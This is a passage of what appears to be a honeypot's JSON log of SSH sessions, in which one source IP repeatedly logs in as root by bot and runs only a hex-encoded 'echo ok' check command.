  "name": "fringed-wandering-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53762,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:38.276900+00:00",
  "ended_at": "2026-08-23T08:03:39.939787+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f10d0197-e734-48f3-9893-7d8a30aebe5f",
  "name": "idle-sincere-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53750,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:36.423017+00:00",
  "ended_at": "2026-08-23T08:03:37.438486+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "42d6838d-f711-45d3-bd6f-357aa3a69404",
  "name": "verdant-sandy-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53740,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:34.308322+00:00",
  "ended_at": "2026-08-23T08:03:35.742253+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f031e2d8-c45b-4f6e-ac77-df1086dbffa7",
  "name": "coral-valiant-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53730,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:32.231879+00:00",
  "ended_at": "2026-08-23T08:03:33.498824+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "92ffa4a2-f3e0-47fd-88f4-b29d49e0e37d",
  "name": "sunlit-bitter-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53722,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:29.923730+00:00",
  "ended_at": "2026-08-23T08:03:31.407939+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fe0f976d-ad97-40c9-bfb5-e12171947bf8",
  "name": "cheerful-mindful-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51568,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:27.075655+00:00",
  "ended_at": "2026-08-23T08:03:29.186137+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2eaacbe2-d867-4ab3-b1a9-9b34ea6d60c7",
  "name": "nautical-hazy-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:25.097759+00:00",
  "ended_at": "2026-08-23T08:03:26.272250+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d60cd2db-9399-4de2-8cb6-ca9fcddd319a",
  "name": "stoic-reedy-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:22.485360+00:00",
  "ended_at": "2026-08-23T08:03:24.302555+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1b59cd31-253a-4fa6-a42e-f88c15d089ae",
  "name": "blithe-stormy-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51550,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:20.606534+00:00",
  "ended_at": "2026-08-23T08:03:21.825583+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d6cf4af8-c53e-4c46-8542-e6e158152137",
  "name": "blithe-amiable-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42716,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:18.178933+00:00",
  "ended_at": "2026-08-23T08:03:19.804203+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6100fb8f-51c5-49e6-9564-c4284d23260a",
  "name": "fearless-drifting-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:15.616866+00:00",
  "ended_at": "2026-08-23T08:03:17.476436+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "efe60110-87a1-4241-abd1-15e55e21ebdc",
  "name": "hushed-watchful-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:12.811575+00:00",
  "ended_at": "2026-08-23T08:03:14.884173+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4bd4534e-23ab-41d3-8926-27f726bc856e",
  "name": "primal-cheerful-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42686,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:10.702125+00:00",
  "ended_at": "2026-08-23T08:03:12.137064+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dc95ce1c-6e16-455b-be28-dc832a6fb013",
  "name": "burly-sunlit-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49954,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:07.935719+00:00",
  "ended_at": "2026-08-23T08:03:10.056745+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3d857745-a637-4332-8d32-6f9a20149cb1",
  "name": "umber-shaded-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:05.478706+00:00",
  "ended_at": "2026-08-23T08:03:07.218399+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a9c1b6eb-e51b-47ad-b698-37b26b3c5b4d",
  "name": "russet-umber-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:03.924877+00:00",
  "ended_at": "2026-08-23T08:03:04.842483+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b68629ea-4b99-4fd2-a318-a4811733a143",
  "name": "crystal-coral-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:01.008086+00:00",
  "ended_at": "2026-08-23T08:03:03.224352+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f3ea21e5-8394-44f9-96ca-5ccebd3abf78",
  "name": "bitter-fierce-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:58.940733+00:00",
  "ended_at": "2026-08-23T08:03:00.340648+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0caf100a-0ae9-4cf5-bf32-9a9d61b792f1",
  "name": "vigilant-tranquil-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41388,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:57.206752+00:00",
  "ended_at": "2026-08-23T08:02:58.332415+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e2756437-358e-4e4b-a96b-938150392608",
  "name": "merry-balmy-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:50.855050+00:00",
  "ended_at": "2026-08-23T08:02:56.506647+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "87f8c8f0-9260-4e59-b878-2fd2683e2fe0",
  "name": "coastal-crimson-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:49.011523+00:00",
  "ended_at": "2026-08-23T08:02:50.175512+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e0ed041b-b0cf-41c8-a369-19372bd624f7",
  "name": "rambling-gallant-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59230,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:46.323408+00:00",
  "ended_at": "2026-08-23T08:02:48.215313+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5c3191b6-1142-4a05-bb1a-3274425ef874",
  "name": "dutiful-lofty-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:44.247796+00:00",
  "ended_at": "2026-08-23T08:02:45.675486+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "57f5920d-b0c8-4896-bb8f-e4532acd19aa",
  "name": "cheerful-blazing-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:42.279896+00:00",
  "ended_at": "2026-08-23T08:02:43.437720+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e18ec4ad-6f2e-4314-8103-dc1393a9ba85",
  "name": "brisk-stoic-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:39.926523+00:00",
  "ended_at": "2026-08-23T08:02:41.633339+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "81e58a07-b7ad-4115-9c3d-c2144991fcec",
  "name": "obsidian-lucid-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:38.267147+00:00",
  "ended_at": "2026-08-23T08:02:39.248890+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "48c2693e-e724-4bdf-85fa-e1c2c3cce2fa",
  "name": "hardy-zealous-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:36.441840+00:00",
  "ended_at": "2026-08-23T08:02:37.487654+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "27d60694-26d1-4702-b392-dd1f10abe8e0",
  "name": "solemn-dappled-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:34.134374+00:00",
  "ended_at": "2026-08-23T08:02:35.650652+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0d671eaf-4fc3-4ac8-a62e-a602c77726b5",
  "name": "misty-bashful-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52072,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:31.727876+00:00",
  "ended_at": "2026-08-23T08:02:33.317697+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7b3941f9-8446-49da-a85e-020a93d121a7",
  "name": "restless-plucky-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:29.328924+00:00",
  "ended_at": "2026-08-23T08:02:30.893544+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "126daad5-6075-46ef-8c91-29d61969b8cf",
  "name": "graceful-spirited-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:27.124030+00:00",
  "ended_at": "2026-08-23T08:02:28.586300+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "39b9fe1f-bed9-4e89-9be3-88102480f623",
  "name": "rambling-lucid-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42248,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:24.977092+00:00",
  "ended_at": "2026-08-23T08:02:26.336542+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e1366bb2-1609-4b85-8719-849e3008b797",
  "name": "dutiful-freckled-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:22.995655+00:00",
  "ended_at": "2026-08-23T08:02:24.194765+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fd73a4ff-2ca2-499e-9ed4-fd85d2722e43",
  "name": "fabled-sooty-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42238,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:20.138834+00:00",
  "ended_at": "2026-08-23T08:02:22.325199+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e44a11d-9c2c-422e-96ad-8ca4c4e4892a",
  "name": "leafy-gleaming-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49202,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:18.028589+00:00",
  "ended_at": "2026-08-23T08:02:19.367596+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5795bf38-6b56-4a5c-aad2-266f072aafb1",
  "name": "supple-cunning-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49190,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:15.677221+00:00",
  "ended_at": "2026-08-23T08:02:17.391449+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2d1240f7-0065-4f1d-a0f8-7e2ae51e6bbf",
  "name": "velvet-seaward-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49186,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:13.939037+00:00",
  "ended_at": "2026-08-23T08:02:14.947037+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "83c34959-e7e7-4385-abf6-0b619a9cacc0",
  "name": "creaky-tidal-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:11.462669+00:00",
  "ended_at": "2026-08-23T08:02:13.147254+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc242223-65a7-4727-b121-2f4af3857c1f",
  "name": "golden-plucky-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49168,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:09.088732+00:00",
  "ended_at": "2026-08-23T08:02:10.624694+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a77b64c6-e699-4c5c-8a59-b3f7af3b6113",
  "name": "slender-painted-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45528,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:03.396863+00:00",
  "ended_at": "2026-08-23T08:02:08.410729+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9aa939d3-0c1f-444b-9f88-35ecef35f7de",
  "name": "merry-plucky-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:02:01.837034+00:00",
  "ended_at": "2026-08-23T08:02:02.751452+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "80dd642e-d6fd-4222-ae6c-7c6ab3b682d0",
  "name": "golden-granite-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:01:58.894544+00:00",
  "ended_at": "2026-08-23T08:02:01.039595+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e83b4938-08e5-4aa3-97c4-c465576e0d91",
  "name": "wistful-somber-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34736,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:01:55.508784+00:00",
  "ended_at": "2026-08-23T08:01:58.116898+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f54b0b39-a3e9-459a-8d77-e06b1f655476",
  "name": "weathered-blithe-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34726,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:01:53.354540+00:00",
  "ended_at": "2026-08-23T08:01:54.691318+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca6906a1-d45f-4d30-8e9b-188012527101",
  "name": "lonesome-brazen-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34716,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:01:51.463735+00:00",
  "ended_at": "2026-08-23T08:01:52.543433+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 }
]